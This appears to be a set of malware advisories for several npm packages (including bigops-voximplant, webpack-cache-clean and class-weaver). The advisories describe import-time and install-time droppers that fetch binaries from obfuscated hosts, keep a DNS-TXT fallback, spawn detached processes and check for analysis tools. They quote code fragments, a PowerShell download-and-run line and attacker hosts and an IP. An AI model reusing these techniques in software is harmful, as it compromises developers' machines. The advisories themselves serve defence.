Search: temp.hex

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (9f8aa3f187231d6a828b8d3cd99eee3f0b3dbb95abecc8ebf1add2c393f59b15) On require() of the package, _support.js assembles remote hostnames from split-string array joins (e.g. ["oob-wo","rker.cf1","02-baf.workers.","dev"].join("")) to hide Cloudflare Workers-hosted download origins and a DNS-TXT fallback under *.dl.well1.site. It selects a platform-specific path, downloads an opaque native binary over HTTPS, writes it to /tmp or %TEMP% under disguised names (dotnet_diag_<hex>.exe,.cache_<hex>), chmods it 0o755 on POSIX, and spawns it detached (detached:true, stdio:"ignore",.unref()) via /bin/sh -c or cmd.exe /c start /b. A marker file.analytics_state throttles re-download to ~6.5 hours (EXPIRE_SEC 23327s) so subsequent requires do not re-trigger the fetch. The package name resembles legitimate scoped packages while shipping only a binary-dropper import-time payload; a DISABLE_TELEMETRY opt-out and "analytics" naming provide cover-story framing over the fetch-write-chmod-spawn chain. ## Source: ghsa-malware (ad6959e1bd9f23751057c2c7d61d91cc3a6bf7dff795ad045271dabaac5c77eb) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (ac6e075f28ea6c98d015ce67f6a884c19aaeb522edab1098f3010d91aae92a59) index.js unconditionally require()s _bridge.js, which on load detects OS and architecture, assembles destination hostnames via array-join string concatenation to hide them from static scanners (oob-worker.cf101-*.workers.dev variants, with DNS TXT-record fallback resolution against tin.dl.well1.site, tina.dl.well1.site, ldr.dl.well1.site, win.dl.well1.site), downloads a platform-specific binary via https.get, writes it to /tmp or the Windows TEMP directory under names mimicking OS internals (dotnet_diag_<hex>.exe,.cache_<hex>), fs.chmodSync 0755, and spawns it detached via /bin/sh -c "<path> &" or cmd.exe /c start. A sibling file lib/telemetry.js (not reachable from the main entry) contains matching dropper primitives — base64 chunk assembly, cp.spawn("/bin/sh",...), fs["chmod"+"Sync"] with parseInt("755",8) — under an analytics-SDK cover story, indicating a staged variant. The require() chain fires as a side effect of importing the package, so any consumer that installs and loads it executes attacker-controlled binaries on the host. ## Source: ghsa-malware (7c982aa407e479ed7613d1669e985d0a2439fd9b5910034ef42b13c9d62f84d8) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (8e9cb745c0771868eb6908cf1c783614da3e41fe1d1cf52b4d2d04705c51af19) On require of the package's main, index.js side-loads _runtime.js which selects a per-platform payload path, fetches an opaque binary from string-split obfuscated Cloudflare Workers hosts (oob-worker.cf100-416.workers.dev, oob-worker.cf102-baf.workers.dev, oob-worker.cf99-9b3.workers.dev), writes it to /var/tmp or %TEMP% with a disguised filename (`.cache_<hex>`, `dotnet_diag_<hex>.exe`, `.analytics_state`), chmods 0755, and spawns it detached via child_process.spawn('/bin/sh') or spawn('cmd'). When the HTTPS mirrors fail, _runtime.js falls back to a DNS TXT covert channel: it resolves `c.<domain>` for a chunk count, iterates `<i>.dl.well1.site` TXT records (tin/tina/ldr/win subdomains), concatenates and base64-decodes them into the payload, then writes and spawns it. Host names, fallback DNS domains, and the string 'child_process' are assembled from split string arrays at runtime to evade static analysis. There is no version pinning, hash check, or signature verification, and the destinations are not the publisher's infrastructure. Cover-story framing as an 'Analytics SDK' with a DISABLE_TELEMETRY opt-out does not match the actual fetch-decode-write-chmod-spawn behavior. ## Source: ghsa-malware (e476a87c0e4538a947633f4bd6a61d856208adab0161811adf5ae087c9b02915) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (b5b91edd276d95174766d639bab6981de8e07b4261e57668fc61f8e7dd96cc1e) On require of the package, `index.js` loads `_polyfill.js` whose top-level `bootstrap()` fetches an opaque platform-specific binary over HTTPS from string-fragment-assembled hosts (reconstructing `oob-worker.cf101-adf.workers.dev` and `sdk.dl.wel1.ru`, with a DNS-TXT fallback for endpoint discovery), writes it to `/var/tmp` or `%TEMP%` under disguised names such as `dotnet_diag_<hex>.exe` and `.cache_<hex>`, chmods it 755, and spawns it detached via `cp.spawn("/bin/sh", ["-c", fp+" &"], {detached:true}).unref()` (with a `cmd` branch on Windows). The download hostnames are assembled at runtime from split string arrays to evade static analysis. A second bundled module, `lib/telemetry.js`, implements the same fetch-write-chmod-spawn pattern using base64 buffer assembly and `fs["chmod"+"Sync"](..., 0o755)`. There is no version pin, no hash or signature verification, and the endpoint is not a first-party publisher domain. Installing or importing this package auto-executes attacker-controlled native code on the host. ## Source: ghsa-malware (dcb6256c0a6b54da5f083f0ebe7609d6b1d6b4a7b517c6008486e9050583d8bf) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e20e151930946a17e9bea02eb51c760264c27138792955452acc4231196ceaae) On require() of bigops-voximplant, index.js loads _ext.js which downloads an OS/arch-specific binary from Cloudflare Workers subdomains whose hostnames are reassembled at runtime from split string fragments (oob-worker.cf102-baf.workers.dev, oob-worker.cf99-9b3.workers.dev, oob-worker.cf100-416.workers.dev), with a DNS-over-TXT base64 chunked fallback resolving from sdk.dl.wel1.ru, ext.dl.wel1.ru, pkg.dl.wel1.ru, and net.dl.wel1.ru to bypass HTTPS egress filtering. The fetched bytes are written to /tmp/.cache_<hex> on Unix (or %TEMP%\dotnet_diag_<hex>.exe on Windows), chmod'd 0755 via fs['chmod'+'Sync'], and detached-spawned via /bin/sh -c '<path> &' or cmd /c start /b, with no hash or signature verification and no source-of-truth publisher domain. A second, structurally identical dropper is bundled as lib/telemetry.js under an 'analytics SDK' cover story, using the same base64 chunk assembly, string-concatenated child_process require, and detached /bin/sh spawn. Hosts and dangerous APIs are constructed via runtime string joins ('child_'+'process', split-and-join hostname fragments) to defeat static inspection. The destinations are anonymous Cloudflare Workers and a.ru DNS-TXT channel unrelated to the package's stated Voximplant integration purpose. ## Source: ghsa-malware (883fad29cd53f12c99b7191ee77a0400cca0ee0911467b88f5d64f8b3402798a) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (4639df1cd39850efb8106cbc5ecf3648f386c0cc5cff6c457d90f6a4d569cef0) On `npm install`, scripts/postinstall.js connects to a hardcoded attacker IP (http://213.218.160.189:8080, fallback:80), sends a base64-encoded host fingerprint (hostname, username, platform, arch) as the `q` query parameter, optionally XOR-decrypts the HTTP response with an embedded hex key, writes the decrypted bytes to a hidden file (`.node_<rand>.js`) under /tmp or %LOCALAPPDATA%/Temp, spawns it as a detached Node process with stdio ignored and windowsHide set, calls unref(), and deletes the staging file ~5 seconds later. The script also performs anti-analysis checks (scans `tasklist` for wireshark/fiddler/procmon/x64dbg/ida), introduces a randomized 0.5–2.5s start delay, and skips execution when `npm_config_dry_run` is set to evade dry-run inspection. The combination of plaintext HTTP fetch from a bare IP, payload decryption, hidden filename staging, detached background execution, and anti-analysis gating is a textbook install-time dropper that yields full code execution on the installer's machine and exfiltrates host identification to the attacker for follow-on targeting. ## Source: ghsa-malware (fe1f5e89ee0d8a218fe820d79c429a0178e4266b0720568eba6814f37702bc07) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (8f8656d094ec59721c08eb72a1ec8f1530cd07985edf705032926dd9a19461d9) On `npm install`, the package runs a postinstall hook (`node -e "require('./loader.js')"`) that spawns a detached child process. The child decodes an obfuscated base64 URL (mislabeled as 'hex' with large whitespace padding) resolving to https://jsonkeeper.com/b/L435A, an anonymous JSON paste host, performs an HTTPS GET, extracts JavaScript source from a `manifest.session` field, writes it to a temp file, and `require()`s it — with no signature, hash, or pinned-version check. The fetched code runs with the installer's privileges and can be changed by the attacker between fetches. The package metadata is also inconsistent: the package name is `webpack-cache-clean`, the README is titled `webpack-cache-plugin`, the repository URL points at `webpack-tools/webpack-cache-plugin`, and the author is the generic `Webpack Tools` — a cover story to lure installers searching for legitimate webpack cache tooling. This satisfies install-time-rce: attacker-controlled, unpinned, obfuscated remote code execution fires automatically on default install. ## Source: ghsa-malware (6f98923d9f08741f534522f4b816b09d5953f8d73ddbaef49710ba42236a9cff) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (b4e45cdd0a93db2db56ae7fd2c348305a5ce7aeab9c6fb4b2331c2a547b2c5e7) class-weaver advertises itself as a className/theme utility (keywords clsx, utils, styling; exports named classNames and twMerge mimicking clsx/tailwind-merge), but its dist/index.js contains a hidden remote-code-execution path inside the exported applyGlobalStyles({palette, accents}) function. The function AES-256-CBC-decrypts caller-supplied hex arrays using a hardcoded 32-byte key (assembled from eight concatenated hex fragments) and spawns powershell.exe with arguments ["-WindowStyle","Hidden","-NoProfile","-Command",`irm ${URL} -o $env:TEMP\s.js; node $env:TEMP\s.js`] via spawnSync with windowsHide:true — downloading and executing arbitrary JavaScript on Windows installers. The node:crypto and node:child_process modules are imported through string-split array-join obfuscation (["no","de",":","cry","pto"].join("")) to evade static dependency scanning. Thousands of filler functions (isWithinBoundary1..200, mapOperation1..250, applyPreset1..150, createSequenceStep1..250, checkConstraint1..250) pad the bundle to disguise the ~30-line malicious payload. The package framing as a clsx/tailwind-merge drop-in is a lure; any consumer invoking the documented applyGlobalStyles API with attacker-controlled accent/palette values triggers fetch-and-execute of arbitrary code. ## Source: ghsa-malware (5dec440ede443477635a06cca5ac51d1e9e41996adfd432a326054402ac3e704) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.